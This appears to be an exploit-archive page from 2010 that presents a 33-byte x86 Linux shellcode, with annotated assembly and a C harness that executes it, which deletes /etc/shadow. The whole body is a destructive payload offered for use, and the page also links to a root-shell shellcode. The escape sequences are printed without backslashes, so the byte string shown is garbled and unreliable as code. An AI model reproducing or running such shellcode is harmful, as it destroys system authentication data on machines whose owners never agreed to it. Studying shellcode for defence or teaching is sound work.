[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : 33 bytes unlink "/etc/shadow" x86 linux shellcode
# Published : 2010-06-02
# Author : gunslinger_
# Previous Title : Solaris/x86 - SystemV killall command - 39 bytes
# Next Title : 39 bytes sys_setuid(0) & sys_setgid(0) & execve ("/bin/sh") x86 linux shellcode
/*
Name : 33 bytes unlink "/etc/shadow" x86 linux shellcode
Date : Wed Jun 2 18:01:44 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web : http://devilzc0de.org
blog : http://gunslingerc0de.wordpress.com
tested on : linux debian
*/
#include <stdio.h>
char *shellcode=
"xebx0f" /* jmp 0x8048071 */
"x31xc0" /* xor %eax,%eax */
"xb0x0a" /* mov $0xa,%al */
"x5b" /* pop %ebx */
"xcdx80" /* int $0x80 */
"x31xc0" /* xor %eax,%eax */
"xb0x01" /* mov $0x1,%al */
"x31xdb" /* xor %ebx,%ebx */
"xcdx80" /* int $0x80 */
"xe8xecxffxffxff" /* call 0x8048062 */
"x2f" /* das */
"x65" /* gs */
"x74x63" /* je 0x80480dd */
"x2f" /* das */
"x73x68" /* jae 0x80480e5 */
"x61" /* popa */
"x64x6f" /* outsl %fs "(%esi),(%dx) */
"x77"; /* .byte 0x77 */
int main(void)
{
fprintf(stdout,"Length: %dn",strlen(shellcode));
((void (*)(void)) shellcode)();
return 0;
}